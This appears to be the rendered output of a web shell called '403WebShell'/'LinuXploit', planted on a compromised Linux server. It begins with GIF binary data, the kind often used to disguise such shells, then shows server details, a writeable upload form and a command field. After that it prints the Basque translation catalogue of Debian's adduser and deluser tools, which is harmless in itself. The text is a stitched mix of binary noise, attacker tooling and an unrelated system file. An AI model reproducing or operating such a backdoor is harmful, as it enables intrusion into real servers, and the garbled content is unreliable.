GIF89a=( �' 7IAXKgNgYvYx\%wh&h}t�h%�s%x�}9�R��&�0%� (�.��5�SD��&�a)�x5��;ͣ*ȡ&ղ)ׯ7׵<ѻ4�3�H֧KͯT��Y�aq��q��F� !� ' !� NETSCAPE2.0 , =( ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g���E�������R���E����B�� ��ȸ��D���"�Ů� �H��L��D٫D�B�����D���T���H �G��A R�ڐ |�� ٭&��E8�S�kG�A�px�a��� R2XB��E8I���6X�:vT)�~��q�賥��"F~%x� � 4#Z�0O|-4Bs�X:= Q� Sal��yXJ`GȦ|s h��K3l7�B|�$'7Jީܪ0!��D�n=�P� ����0`�R�lj����v>���5 �.69�ϸd�����nlv�9��f{���Pbx �l5}�p� ��� �3a���I�O����!ܾ���i��9��#��)p�a ޽ �{�)vm��%D~ 6f��s}Œ�D�W E�`!� �&L8x� �ܝ{)x`X/>�}m��R�*|`D�=�_ ^�5 !_&'a�O�7�c��`DCx`�¥�9�Y�F���`?��"� �n@`�} lď��@4>�d S �v�xN��"@~d��=�g�s~G��� ���ud &p8Q�)ƫlXD����A~H�ySun�j���k*D�LH�] ��C"J��Xb~ʪwSt}6K,��q�S:9ت:���l�@�`�� �.۬�t9�S�[:��=`9N����{¿�A !R�:���6��x�0�_ �;������^���#����!����U���;0L1�����p% A��U̬ݵ��%�S��!���~`�G���� ���=4�np�3���������u�u�ٮ|%2�I��r�#0��J``8�@S@5� ���^`8E�]�.�S���7 � �0�j S�D� z���i�S�����!���l��w9*�D�I�nEX��� &A�Go�Qf��F��;���}�J����F5��Q|���X��T��y���]� o ��C=��:���PB@ D׽S�(>�C�x}`��xJЬ�۠��p+eE0`�}`A �/NE�� �9@��� H�7�!%B0`�l*��!8 2�%� �:�1�0E��ux%nP1�!�C)�P81l�ɸF#Ƭ{����B0>�� �b�`��O3��()yRpb��E.ZD8�H@% �Rx+%���c� ���f��b�d�`F�"8�XH"��-�|1�6iI, 2�$+](A*j� QT�o0.�U�`�R�}`�SN����yae�����b��o~ S)�y�@��3 �tT�0�&�+~L�f"�-|�~��>!�v��~�\Q1)}@�}h#aP72�"�$ !� " , =( &7IAXG]KgNgYvYxR"k\%w]'}h}t�h%�g+�s%r.m3ax3�x�}9��&��+�!7�0%� (�.�SD��&��;�"&ײ)׻4��6�K� �@pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E �� �������E �´��C���ǶR��D��"Ʒ�ʱH��M��GڬD�B����D��T����G���C�C� l&�~:'�tU�6ɹ#��)�'�.6�&��Ȼ K(8p0N�?!�2"��NIJX>R��OM '��2�*x�>#n� �@<[:�I�f ��T���Cdb��[�}E�5MBo��@�`@��tW-3 �x�B���jI�&E�9[T&$��ﯧ&"s��ȳ����dc�UUρ#���ldj?����`\}���u|3'�R]�6 �S#�!�FKL�*N E���`$�:e�YD�q�.�촁�s \-�jA 9�����-��M[�x(�s��x�|���p��}k�T�DpE@W� ��]k`1� ���Yb ��0l��*n0��"~zBd�~u�7�0Bl��0-�x~|U�U0 �h�*HS�|��e"#"?vp�i`e6^�+q��`m8 #V�� ��VS|`��"m"сSn|@:U���~`pb�G�ED����2F�I�? >�x� R� ��%~jx��<�a�9ij�2�D��&: Z`�]w���:�6��B�7eFJ|�ҧ�,���FǮcS�ʶ+B�,�ܺN���>PAD�HD��~���n��}�#�� Q��S���2�X�{�k�lQ�2�����w�|2� h9��G�,m���3��6-��E�L��I�³*K���q�`DwV�QXS��peS��� qܧTS����R�u �<�a�*At�lmE� � ��N[P1�ۦ��$��@`��Dpy�yXvCAy�B`}D� 0QwG#� �a[^�� $���Ǧ{L�"[��K�g�;�S~��GX.�goT.��ư��x���?1z��x~:�g�|�L� ��S`��0S]P�^p F<""�?!,�!N4&P� ����:T�@h�9%t��:�-~�I<`�9p I&.)^ 40D#p@�j4�ج:�01��rܼF2oW�#Z ;$Q q  �K��Nl#29 !F@�Bh�ᏬL!XF�LHKh�.�hE&J�G��<"WN!�����Y@� >R~19J"�2,/ &.GXB%�R�9B6�W]���W�I�$��9�RE8Y� ��"�A5�Q.axB�&ة�J�! �t)K%tS-�JF b�NMxL��)�R��"���6O!TH�H� 0 !� ) , =( &AXKgNgYvYxR"k\%wh&h}h%�g+�s%r.x3�x�}9��&��+�R,�!7�0%� (�.��5��&�a)��;�"&ף*Ȳ)ׯ7׻4�3��6�H֧KͻH�T��Y��q��h� ��pH,�Ȥr�l:xШtJ�Z�جv��z��xL.:��z�n���|N�����~�������& !�0`9R�}��"�"a:S�~x��������g �� E$����� � ����$E$��"��D� � ������R��C��� E ��H�M��G�D� �B��ϾD��a��`1r��Ӑ�� �o~�zU!L�C'�yW�UGt����ll�0���uG�)A�s[��x� �xO%��X2�  P�n:R/��aHae+�Dm?# ǣ6�8�J�x�Di�M���j���5oQ7�- <! *�l��R2r/a!l)d� A"�E���� &� ;��c �%����b��pe~C"B���H�eF2��`8qb�t_`ur`e� w�u3��Pv�h""�`�Íx�LĹ��3� �~ֺ�:���MDfJ� �۵�W�%�S�X �؁)�@��:E��w�u�Sxb8y\m�zS��Zb�E�L��w!y(>�"w�=�|��s�d �C�W)H�cC$�L �7r.�\{)@�`@ �X�$PD `aaG:���O�72E�amn]�"Rc�x�R� &dR8`g��i�xLR!�P &d����T���i�|�_ � Qi�#�`g:��:noM� :V �)p����W&a=�e�k� j���1߲s�x�W�jal|0��B0�, \j۴:6���C ��W��|��9���zĸV {�;��n��V�m�I��.��PN� ����C��+��By�ѾHŸ:��� 7�Y�FTk�SaoaY$D�S���29R�kt� ��f� ��:��Sp�3�I��DZ� �9���g��u�*3)O��[_hv ,���Et x�BH� �[��64M@�S�M7d�l�ܶ5-��U܍��z�R3Ԭ3~ ��P��5�g: ���kN�&0�j4���#{��3S�2�K�'ợl���2K{� {۶?~m𸧠�I�nE�='����^���_�=��~�#O���'���o..�Y�n��CSO��a��K��o,���b�����{�C�� "�{�K ��w��Ozdը�:$ ���v�] A#� ���a�z)Rx׿ƥ�d``�w-�y�f�K!����|��P��=�`�(f��'Pa ��BJa%��f�%`�}F����6>��`G"�}�=�!o`�^FP�ةQ�C���`(�}\�ݮ ��$<��n@dĠE#��U�I�!� #l��9`k���'Rr��Z�NB�MF �[�+9���-�wj���8�r� ,V�h"�|�S=�G_��"E� 0i*%̲��da0mVk�):;&6p>�jK ��# �D�:�c?:R Ӭf��I-�"�<�="��7�3S��c2RW ,�8(T"P0F¡Jh�" ; 403WebShell
403Webshell
Server IP : 81.88.48.95  /  Your IP : 10.2.217.94, 216.73.216.227
Web Server : Apache
System : Linux opus07 3.2.0-4-amd64 #1 SMP Debian 3.2.68-1+deb7u3 x86_64
User : nobody ( 99)
PHP Version : 5.3.3-7+squeeze3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/share/locale/eu/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :

[ Back ]     

Current File : /usr/share/locale/eu/LC_MESSAGES/adduser.mo
sL	]	
&

#?.c2)%
#+
O
'*)R8|=,@)m!=Z"'A?iGG?9PyH 34-h"16B*U'& &G7n$1B
Mi B:AF/ '7@_.<8E'd?+--Es(J?7V=Y)&6P%%&,'""&D'Y'2u'-'''(0/(!`((((*++'+#-#+-)O-;y-@-7-3..b.-..//8/N0%V0|0$0?0B0-A1)o1 111$1?2F223;)3De3L3L3DD4W4O4)15I[5G5$5(6O;6P6626 747Q7k77,7%7%7I8(e88(8@89"9#<9"`9I9@9G:!V:x:1:::3:F+;<r;9;N;(8<2a<G<<3<,-=<Z= ==?/?N?->@=l@<@N@)6A<`A'A*A.A&BFBFFKbL#xL>LBL M?M0_M0M(M7MU_V;:] .*(W6iFJ79RQOa%GS#0k5E?N,+sTIMo)>&BP@	fX^2A'4[Ch3D8=
d1g\Yr-<bH/"lcn!$Kp`Lej
qmZ%s failed with return code 15, shadow not enabled, password aging cannot be set. Continuing.
%s: %s%s: Please enter a username matching the regular expression configured
via the NAME_REGEX configuration variable.  Use the `--force-badname'
option to relax this check or reconfigure NAME_REGEX.
%s: To avoid problems, the username should consist only of
letters, digits, underscores, periods, at signs and dashes, and not start with
a dash (as defined by IEEE Std 1003.1-2001). For compatibility with Samba
machine accounts $ is also supported at the end of the username
Adding group `%s' (GID %d) ...
Adding new group `%s' (%d) ...
Adding new group `%s' (GID %d) ...
Adding new user `%s' (%d) with group `%s' ...
Adding new user `%s' (UID %d) with group `%s' ...
Adding new user `%s' to extra groups ...
Adding system user `%s' (UID %d) ...
Adding user `%s' ...
Adding user `%s' to group `%s' ...
Adds a user or group to the system.
  
Copyright (C) 1997, 1998, 1999 Guy Maor <maor@debian.org>
Copyright (C) 1995 Ian Murdock <imurdock@gnu.ai.mit.edu>,
                   Ted Hajek <tedhajek@boombox.micro.umn.edu>

Allowing use of questionable username.
Backing up files to be removed to %s ...
Cannot deal with %s.
It is not a dir, file, or symlink.
Cannot handle special file %s
Caught a SIG%s.
Copying files from `%s' ...
Copyright (C) 2000 Roland Bauerschmidt <roland@copyleft.de>

Could not find program named `%s' in $PATH.
Couldn't create home directory `%s': %s.
Couldn't parse `%s', line %d.
Creating home directory `%s' ...
Done.
Enter a group name to remove: Enter a user name to remove: If you really want this, call deluser with parameter --force
In order to use the --remove-home, --remove-all-files, and --backup features,
you need to install the `perl-modules' package. To accomplish that, run
apt-get install perl-modules.
Internal errorIs the information correct? [Y/n] Looking for files to backup/remove ...
No GID is available in the range %d-%d (FIRST_GID - LAST_GID).
No GID is available in the range %d-%d (FIRST_SYS_GID - LAST_SYS_GID).
No UID is available in the range %d-%d (FIRST_SYS_UID - LAST_SYS_UID).
No UID is available in the range %d-%d (FIRST_UID - LAST_UID).
No UID/GID pair is available in the range %d-%d (FIRST_SYS_UID - LAST_SYS_UID).
No UID/GID pair is available in the range %d-%d (FIRST_UID - LAST_UID).
No options allowed after names.
Not backing up/removing `%s', it is a mount point.
Not backing up/removing `%s', it matches %s.
Not creating home directory `%s'.
Only one or two names allowed.
Only root may add a user or group to the system.
Only root may remove a user or group from the system.
Permission denied
Removes users and groups from the system.
Removing crontab ...
Removing directory `%s' ...
Removing files ...
Removing group `%s' ...
Removing user `%s' ...
Removing user `%s' from group `%s' ...
Selecting GID from range %d to %d ...
Selecting UID from range %d to %d ...
Setting quota for user `%s' to values of user `%s' ...
Specify only one name in this mode.
Stopped: %s
Stopping now without having performed any action
The --group, --ingroup, and --gid options are mutually exclusive.
The GID %d does not exist.
The GID %d is already in use.
The GID `%s' is already in use.
The UID %d is already in use.
The group `%s' already exists and is not a system group. Exiting.
The group `%s' already exists as a system group. Exiting.
The group `%s' already exists, but has a different GID. Exiting.
The group `%s' already exists.
The group `%s' does not exist.
The group `%s' is not a system group. Exiting.
The group `%s' is not empty!
The group `%s' was not created.
The home dir must be an absolute path.
The home directory `%s' already exists.  Not copying from `%s'.
The system user `%s' already exists. Exiting.
The user `%s' already exists with a different UID. Exiting.
The user `%s' already exists, and is not a system user.
The user `%s' already exists.
The user `%s' already exists. Exiting.
The user `%s' does not exist, but --system was given. Exiting.
The user `%s' does not exist.
The user `%s' is already a member of `%s'.
The user `%s' is not a member of group `%s'.
The user `%s' is not a system user. Exiting.
The user `%s' was not created.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or (at
your option) any later version.

This program is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
General Public License, /usr/share/common-licenses/GPL, for more details.
Try again? [y/N] Unknown variable `%s' at `%s', line %d.
Usually this is never required as it may render the whole system unusable
WARNING: You are just about to delete the root account (uid 0)
Warning: The home dir %s you specified already exists.
Warning: The home dir %s you specified can't be accessed: %s
Warning: The home directory `%s' does not belong to the user you are currently creating.
Warning: group `%s' has no more members.
You may not remove the user from their primary group.
`%s' does not exist. Using defaults.
`%s' exited from signal %d. Exiting.
`%s' returned error code %d. Exiting.
`%s' still has `%s' as their primary group!
adduser [--home DIR] [--shell SHELL] [--no-create-home] [--uid ID]
[--firstuid ID] [--lastuid ID] [--gecos GECOS] [--ingroup GROUP | --gid ID]
[--disabled-password] [--disabled-login] USER
   Add a normal user

adduser --system [--home DIR] [--shell SHELL] [--no-create-home] [--uid ID]
[--gecos GECOS] [--group | --ingroup GROUP | --gid ID] [--disabled-password]
[--disabled-login] USER
   Add a system user

adduser --group [--gid ID] GROUP
addgroup [--gid ID] GROUP
   Add a user group

addgroup --system [--gid ID] GROUP
   Add a system group

adduser USER GROUP
   Add an existing user to an existing group

general options:
  --quiet | -q      don't give process information to stdout
  --force-badname   allow usernames which do not match the
                    NAME_REGEX configuration variable
  --help | -h       usage message
  --version | -v    version number and copyright
  --conf | -c FILE  use FILE as configuration file

adduser version %s

deluser USER
  remove a normal user from the system
  example: deluser mike

  --remove-home             remove the users home directory and mail spool
  --remove-all-files        remove all files owned by user
  --backup                  backup files before removing.
  --backup-to <DIR>         target directory for the backups.
                            Default is the current directory.
  --system                  only remove if system user

delgroup GROUP
deluser --group GROUP
  remove a group from the system
  example: deluser --group students

  --system                  only remove if system group
  --only-if-empty           only remove if no members left

deluser USER GROUP
  remove the user from a group
  example: deluser mike students

general options:
  --quiet | -q      don't give process information to stdout
  --help | -h       usage message
  --version | -v    version number and copyright
  --conf | -c FILE  use FILE as configuration file

deluser is based on adduser by Guy Maor <maor@debian.org>, Ian Murdock
<imurdock@gnu.ai.mit.edu> and Ted Hajek <tedhajek@boombox.micro.umn.edu>

deluser version %s

fork for `find' failed: %s
fork for `mount' to parse mount points failed: %s
getgrnam `%s' failed. This shouldn't happen.
invalid argument to option
invalid combination of options
passwd file busy, try again
pipe of command `mount' could not be closed: %s
unexpected failure, nothing done
unexpected failure, passwd file missing
Project-Id-Version: adduser_3.112+nmu2_eu
Report-Msgid-Bugs-To: adduser-devel@lists.alioth.debian.org
POT-Creation-Date: 2010-11-21 17:13-0400
PO-Revision-Date: 2010-11-12 12:37+0100
Last-Translator: Iñaki Larrañaga Murgoitio <dooteo@euskalgnu.org>
Language-Team: Basque <debian-l10n-basque@lists.debian.org>
Language: 
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-Generator: KBabel 1.11.4
Plural-Forms:  nplurals=2; plural=(n != 1);
%s(e)k huts egin du itzulerako 15 kodearekin, shadow ez dago gaituta, ezin da pasahitzaren iraungitze-data ezarri. Jarraitzen.
%s: %s%s: idatzi NAME_REGEX konfigurazioko aldagaian ezarritako adierazpen
erregularra betetzen duen erabiltzaile-izen bat. Erabili '--force-badname'
aukera hau zabaltzeko edo NAME_REGEX birkonfiguratzeko.
%s: arazoak saihesteko, erabiltzaile-izena letrak, zenbakiak,
azpimarra eta marratxoz soilik osatuta egon daiteke, eta ezin da
marratxoz hasi (IEEE 1003.1-2001 estandarrak ezartzen duen bezala).
Samba sistemarekin bateragarritasuna mantentzeko
'$' ere onartzen da erabiltzaile-izenaren amaieran
'%s' taldea gehitzen: (%d GIDa)...
'%s' (%d) talde berria gehitzen...
'%s' talde berria gehitzen (%d GIDa) ...
'%s' (%d) erabiltzaile berria '%s' taldearekin gehitzen...
'%s' erabiltzaile berria (%d UIDa) '%s' taldearekin gehitzen...
'%s' erabiltzaile berria talde gehigarriei gehitzen...
'%s' sistemako erabiltzailea gehitzen (%d UIDa)...
'%s' erabiltzailea gehitzen...
'%s' erabiltzailea '%s' taldeari gehitzen...
Erabiltzaile edo talde bat gehitzen dio sistemari.
  
Copyright-a (C) 1997, 1998, 1999 Guy Maor <maor@debian.org>
Copyright-a (C) 1995 Ian Murdock <imurdock@gnu.ai.mit.edu>,
                   Ted Hajek <tedhajek@boombox.micro.umn.edu>

Segurtasun urriko erabiltzaile-izenak gaitzen.
Ezabatuko diren fitxategien babeskopia %s(e)n egiten...
Ezin da %s tratatu.
Hau ez da direktorio, fitxategi edo esteka sinboliko bat.
Ezin da %s fitxategi berezia kudeatu
SIG%s seinalea eskuratu da.
'%s'(e)tik fitxategiak kopiatzen...
Copyright-a (C) 2000 Roland Bauerschmidt <roland@copyleft.de>

Ezin izan da '%s' izeneko programarik aurkitu $PATH bide-izenean.
Ezin izan da '%s' karpeta nagusia sortu: %s.
Ezin izan da '%s' analizatu, %d. lerroa.
'%s' karpeta nagusia sortzen...
Eginda.
Idatzi talde-izena kentzeko: Idatzi erabiltzaile-izena kentzeko: Ziur bazaude, deitu 'deluser' komandoari '--force' aukerarekin
'perl-modules' paketea instalatu behar da --remove-home, --remove-all-files,
eta --backup aukerak erabiltzeko. Horretarako, exekutatu honako komandoa:
apt-get install perl-modules
Barneko erroreaInformazioa zuzena da? [B/e] Babeskopiak egiteko edo ezabatzeko fitxategiak bilatzen...
Ez dago GID erabilgarririk %d-%d barrutian (LEHEN_GID - AZKEN_GID).
Ez dago GID erabilgarririk %d-%d barrutian (LEHEN_SIS_GID - AZKEN_SIS_GID).
Ez dago UID erabilgarririk %d-%d barrutian (LEHEN_SIS_UID - AZKEN_SIS_UID).
Ez dago UID erabilgarririk %d-%d barrutian (LEHEN_UID - AZKEN_UID).
Ez dago UID/GID bikote erabilgarririk %d-%d barrutian (LEHEN_SIS_UID - AZKEN_SIS_UID).
Ez dago UID/GID bikote erabilgarririk %d-%d barrutian (LEHEN_UID - AZKEN_UID).
Ez da izenen ondoren aukerarik onartzen.
Ez da '%s'(r)en babeskopiarik/ezabatzerik egingo, muntatze puntu bat da.
Ez da '%s'(r)en babeskopiarik/ezabatzerik egingo, %s(r)ekin bat dator.
Ez da '%s' karpeta nagusia sortuko.
Izen bat edo bi bakarrik onartzen dira.
root erabiltzaileak bakarrik gehitu ditzake talde edo erabiltzaileak sistemari
Soilik root erabiltzaileak ezaba ditzake taldeak eta erabiltzaileak sistematik.
Baimena ukatuta
Sistematik erabiltzaile eta taldeak kentzen ditu.
crontab kentzen...
'%s' direktorioa kentzen...
Fitxategiak ezabatzen...
'%s' taldea kentzen...
'%s' erabiltzailea kentzen...
'%s' erabiltzailea '%s' taldetik kentzen...
GIDa hautatzen %d - %d barrutitik...
UIDa hautatzen %d - %d barrutitik...
'%s' erabiltzailearen kuota '%s' erabiltzailearen balioetara ezartzen...
Zehaztu izen bat bakarrik modu honetan.
Geldituta: %s
Inolako ekintzarik landu gabe gelditzen
--group, --ingroup, eta --gid aukerak ezin dira batera erabili.
%d GIDa ez dago.
%d GIDa dagoeneko erabilita dago.
'%s' GIDa dagoeneko erabilia dago.
%d UIDa dagoeneko erabilita dago.
'%s' taldea badago lehendik ere eta ez da sistemako talde bat. Irtetzen.
'%s' taldea badago lehendik ere sistemako talde gisa. Irtetzen.
'%s' taldea badago lehendik ere, baina GID desberdin bat du. Irtetzen.
'%s' taldea badago lehendik ere.
'%s' taldea ez dago.
'%s' taldea ez da sistemako talde bat. Irtetzen.
'%s' taldea ez dago hutsik!
'%s' taldea ez da sortu.
karpeta nagusia bide-izen absolutua izan behar da.
'%s' karpeta nagusia badago lehendik ere. Ez da '%s'(e)tik kopiatuko.
Sistemako '%s' erabiltzailea badago lehendik ere. Irtetzen.
'%s' erabiltzailea bestelako UID batekin dago. Irtetzen.
'%s' erabiltzailea badago lehendik ere, eta ez da sistemako erabiltzaile bat.
'%s' erabiltzailea badago lehendik ere.
'%s' erabiltzailea badago lehendik ere, Irtetzen.
'%s' erabiltzailea ez da existitzen, baina --system eman da. Irtetzen.
'%s' erabiltzailea ez dago.
'%s' erabiltzailea dagoeneko '%s' taldeko kide da.
'%s' erabiltzailea ez da '%s' taldeko kide.
'%s' erabiltzailea ez da sistemako erabiltzailea. Irtetzen.
'%s' erabiltzailea ez da sortu.
Programa hau software librea da; birbana eta/edo alda dezakezu
Free Software Foundation-ek argitaratutako GNU Lizentzia Publiko
Orokorraren 2. bertsioan, edo (nahiago baduzu) beste berriago
batean, jasotako baldintzak betez gero.

Programa hau erabilgarria izango delakoan banatzen da, baina, INOLAKO
BERMERIK GABE; era berean, ez da bermatzen beraren EGOKITASUNA
MERKATURATZEKO edo HELBURU PARTIKULARRETARAKO ERABILTZEKO.
Argibide gehiago nahi izanez gero, ikus GNU Lizentzia Publiko Orokorra.
Saiatu berriro? [b/E] '%s' aldagaia ezezaguna '%s'(e)ko %d. lerroan.
Normalean hau ez zen inoiz egin beharko, sistema osoa erabilezin utziko baitu
ABISUA: root kontua (0 UIDa) ezabatzera zoaz
Abisua: ezarri duzun %s karpeta nagusia badago lehendik ere.
Abisua: ezarri duzun %s karpeta nagusia ezin da atzitu: %s.
Abisua: '%s' karpeta nagusia ez da unean sortzen ari zaren erabiltzailearena.
Abisua: '%s' taldeak ez du kide gehiago.
Ez zenuke erabiltzailea bere talde nagusitik ezabatu behar.
'%s' ez dago. Lehenespenak erabiltzen.
'%s' %d seinalearekin irten da. Irtetzen.
'%s'(e)k %d errore-kodea itzuli du. Irtetzen.
'%s'(e)k '%s' talde nagusi bezala du!
adduser [--home DIR] [--shell SHELL] [--no-create-home] [--uid ID]
[--firstuid ID] [--lastuid ID] [--gecos GECOS] [--ingroup TALDEA | --gid ID]
[--disabled-password] [--disabled-login] ERABILTZAILEA
   Gehitu erabiltzaile arrunt bat

adduser --system [--home DIR] [--shell SHELL] [--no-create-home] [--uid ID]
[--gecos GECOS] [--group | --ingroup TALDEA | --gid ID] [--disabled-password]
[--disabled-login] ERABILTZAILEA
   Gehitu erabiltzaile arrunt bat

adduser --group [--gid ID] TALDEA
addgroup [--gid ID] TALDEA
   Gehitu erabiltzeren talde bat

addgroup --system [--gid ID] TALDEA
   Gehitu sistemako talde bat

adduser ERABILTZAILEA TALDEA
   Gehitu existitzen den erabiltzaile bat existitzen den talde bati

aukera orokorrak:
  --quiet | -q     ez erakutsi prozesuaren informazioa irteera
                             estandarrean (sdtout)
  --force-badname  NAME_REGEX konfigurazioko aldagaiarekin
                                 bat ez datozten erabiltzaile-izenak baimendu
  --help | -h         erabileraren mezua
  --version | -v    bertsioaren zenbakia eta copyright-a
  --conf | -c FITXATEGIA      erabili FITXATEGIA konfigurazioko fitxategi gisa

adduser %s bertsioa

deluser ERABILTZAILEA
  kendu erabiltzaile arrunt bat sistematik
  adibidea: deluser mikel

  --remove-home          kendu erabiltzailearen karpeta nagusia
                                   eta posta-lara ezabatu
  --remove-all-files        kendu erabiltzaile honen jabegoko
                                   fitxategi guztiak
  --backup                  egin fitxategien babeskopia ezabatu aurretik.
  --backup-to <DIR>       babeskopien helburuko direktorioa.
                                      Lehenetsia uneko direktorioa da.
system              sistemako erabiltzailea bada bakarrik kendu

delgroup TALDEA
deluser --group TALDEA
  kendu talde bat sistematik
  adibidea: deluser --group ikasleak

  --system                sistemako taldea bada bakarrik ezabatu
  --only-if-empty       kiderik ez badu bakarrik ezabatu

deluser ERABILTZAILEA TALDEA
  erabiltzailea taldetik ezabatu
  adibidez: deluser mikel ikasleak

aukera orokorrak:
  --quiet | -q     ez erakutsi prozesuaren informazioa irteera
                             estandarrean (sdtout)
  --help | -h         erabileraren mezua
  --version | -v    bertsioaren zenbakia eta copyright-a
  --conf | -c FITXATEGIA      erabili FITXATEGIA konfigurazioko fitxategi gisa

deluser Guy Maor <maor@debian.org>, Ian Murdock <imurdock@gnu.ai.mit.edu>
eta Ted Hajek <tedhajek@boombox.micro.umn.edu> garatutako 'adduser'-en
oinarrituta dago

deluser %s bertsioa

huts egin du 'find' sardetzean: %s
huts egin du 'mount' sardetzean muntai-puntuak aztertzeko: %s
huts egin du getgrnam '%s' funtzioak. Hau ez zen gertatu beharko.
aukeraren argumentua baliogabea
aukeren konbinazioa baliogabea
pasahitzen fitxategia lanpetuta, saiatu berriro
ezin izan da 'mount' komandoaren tutua itxi: %s
hustekabeko hutsegitea, ez da ezer egin
hustekabeko hutsegitea, pasahitzen fitxategia falta da

Youez - 2016 - github.com/yon3zu
LinuXploit